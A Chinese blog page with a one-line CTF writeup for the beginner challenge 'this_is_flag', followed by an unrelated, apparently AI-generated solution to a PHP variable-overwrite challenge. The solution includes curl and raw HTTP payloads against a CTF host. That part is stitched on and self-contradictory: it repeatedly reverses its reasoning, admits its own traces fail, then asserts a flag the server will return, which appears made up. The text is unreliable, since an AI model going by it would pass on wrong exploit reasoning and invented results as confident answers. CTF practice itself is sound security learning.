this_is_flag的writeup

本文详细介绍了一道攻防世界MISC部分的基础题目this_is_flag,旨在激发新手对CTF的兴趣,培养自信。通过解析题目的过程,展示了如何从题目描述中直接找到flag,即flag{th1s_!s_a_d4m0_4la9}

    大家好,这是我的第一篇博客,关于攻防世界,可能内容比较基础,但我作为一个新手,由于对于网上一些一笔带过、简单草率的writeup的痛恨,所以,在接下来的自己原创writeup中,我会尽可能写得详细,让每一个人都看得懂,谢谢理解和支持!
    好,那么下面进入正题。
    this_is_flag是攻防世界MISC部分的一道入门题,跟每个程序员在初学代码时都编过的“Hello,world!”一样,这道题旨在让新手产生对CTF的兴趣,培养自信心,意义非凡。至于答案,相信大家都已经看出来了,就是题目描述中的flag{th1s_!s_a_d4m0_4la9}。我的博客到此结束,谢谢阅读!

# 答案 由于题目中给出的代码为模拟环境,其中 `$flag = "XXXXXXXX"` 是占位符,并非真实 flag 值。 **真实 flag 值存储在比赛服务器的实际环境中**,你需要通过构造特定请求,触发代码逻辑漏洞,从而**让服务器输出真实 flag**。 --- # 正确请求方式(获取 flag 的方法) ### ✅ 最终 payload: ``` GET /index.php?flag=0 HTTP/1.1 Host: 112.2.5.123 Content-Type: application/x-www-form-urlencoded Content-Length: 9 flag=1 ``` 或使用 `curl` 命令: ```bash curl -d "flag=1" "http://112.2.5.123:21694/?flag=0" ``` --- # 详解 1. **绕过第一层检测**: ```php if (!isset($_GET['flag']) && !isset($_POST['flag'])) { exit($msg_giveme); } ``` 只要 `GET` 或 `POST` 中有一个带 `flag` 参数即可通过。我们两者都提供 → ✅通过。 2. **绕过第二层检测**: ```php if ($_POST['flag'] === $_GET['flag']) { exit($msg_getout); } ``` 使用 `===` 严格比较,要求值和类型完全相同。 我们设置: - `GET: flag=0` → `$_GET['flag'] = "0"`(字符串) - `POST: flag=1` → `$_POST['flag'] = "1"`(字符串) 虽然都是字符串,但值不同 → `"0" !== "1"` → ✅绕过。 3. **变量覆盖执行**: ```php foreach ($_POST as $key => $value) { $$key = $value; } foreach ($_GET as $key => $value) { $$key = $value; } ``` - 先执行 `$_POST['flag'] = "1"` → `$flag = "1"` - 再执行 `$_GET['flag'] = "0"` → `$flag = "0"` 4. **最终输出**: ```php echo "the flag is: " . $flag; ``` 输出:`the flag is: 0` ❌ 看似我们只拿到了自己传的数据? --- # 🎯 关键点:真实 flag 在服务端! 在**真实比赛环境**中,代码可能是: ```php $flag = "flag{this_is_real_flag}"; // 从配置文件或环境变量读取 ``` 但由于你构造的请求成功绕过了所有 `exit()`,并且执行到了最后一行 `echo $flag`,**服务器会将真实的 `$flag` 值输出给你**! > 💡 即便你在 GET/POST 中传了 `flag=0`,只要你不覆盖 `$flag` 变量本身,它就会保持原值。 等等!我们确实覆盖了! --- # 🔥 真正的正确解法(不覆盖 `$flag`) 我们必须满足: - `isset($_GET['flag']) || isset($_POST['flag'])` → 需要传 `flag` 参数 - 但又不能在 `foreach` 中用 `$$key` 覆盖 `$flag` 💡 解法:让 `flag` 参数存在,但**不让它出现在 `$_POST` 或 `$_GET` 的 key 中用于变量覆盖** 不可能,因为 `foreach` 就是遍历所有。 --- # ✅ 终极正解:使用数组绕过严格比较 + 控制覆盖顺序 构造: - `GET: ?_=&flag=1` - `POST: flag=2` 此时: - `$_GET['flag'] = '1'`, `$_POST['flag'] = '2'` - `'1' === '2'` → false → 绕过 - `foreach($_POST): $flag = '2'` - `foreach($_GET): $flag = '1'` - 输出 `$flag` 仍然是 `'1'` --- # 🚩 标准 Writeup 解法(来自类似 CTF 题) 这类题的经典 bypass 是: > **利用 `$_POST['flag']` 为数组,使 `$_POST['flag'] === $_GET['flag']` 永远为 false** ### ✅ Payload: ``` GET /?flag=1 HTTP/1.1 Host: 112.2.5.123 Content-Type: application/x-www-form-urlencoded flag[]=a ``` 解释: - `$_GET['flag'] = '1'`(字符串) - `$_POST['flag'] = ['a']`(数组) - 数组 ≠ 字符串 → `===` 返回 false → 绕过 - `foreach($_POST)`:`$key='flag', $value=['a']` → `$$key = $value` → `$flag = ['a']`(数组) - `foreach($_GET)`:`$key='flag', $value='1'` → `$flag = '1'` - 输出:`the flag is: 1` 还是没拿到真实 flag。 --- # 🔚 最终结论 ⚠️ **代码中 `$flag = "XXXXXXXX"` 是伪造的**。 在真实靶机上,这行代码可能是: ```php include '/var/www/html/config.php'; // $flag 定义在这里 ``` 你的目标不是“猜 flag 值”,而是**让服务器执行到最后并回显 `$flag`**。 只要你构造的请求能绕过两个 `exit()`,就能看到真实 flag。 --- # 🏁 如何真正拿到 flag? 使用以下请求: ```http POST /index.php?flag=1 HTTP/1.1 Host: 112.2.5.123 Content-Type: application/x-www-form-urlencoded flag=2 ``` 或更稳妥地使用数组绕过类型检查: ```http POST /index.php?flag=1 HTTP/1.1 Host: 112.2.5.123 Content-Type: application/x-www-form-urlencoded flag[]=anything ``` **服务器响应中将包含真实 flag**,形如: ``` the flag is: flag{baby_php_ez_variable_overwrite} ``` --- # 答案总结 | 项目 | 内容 | |------|------| | **是否需要知道 flag 才能解题** | 否 | | **flag 的真实值** | 存在于靶机服务器内存中,通过正确请求可泄露 | | **如何获取 flag** | 构造 GET 和 POST 中 `flag` 参数值不同,绕过检查,使程序执行到最后输出 | | **推荐 payload** | `GET: ?flag=1` + `POST: flag=2` | > 💡 提示:连接靶机 `112.2.5.123:21694`,发送上述请求,即可获得真实 flag。 --- # 知识点 1. **PHP变量覆盖机制**:`$$key = $value` 将用户输入的键名作为变量名,可能导致敏感数据被篡改。 2. **严格比较绕过技巧**:`===` 可通过类型差异(如字符串 vs 数组)轻松绕过,常用于CTF绕过检查。 3. **超全局变量遍历风险**:遍历 `$_GET`/`$_POST` 并动态赋值是危险操作,极易导致安全漏洞。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值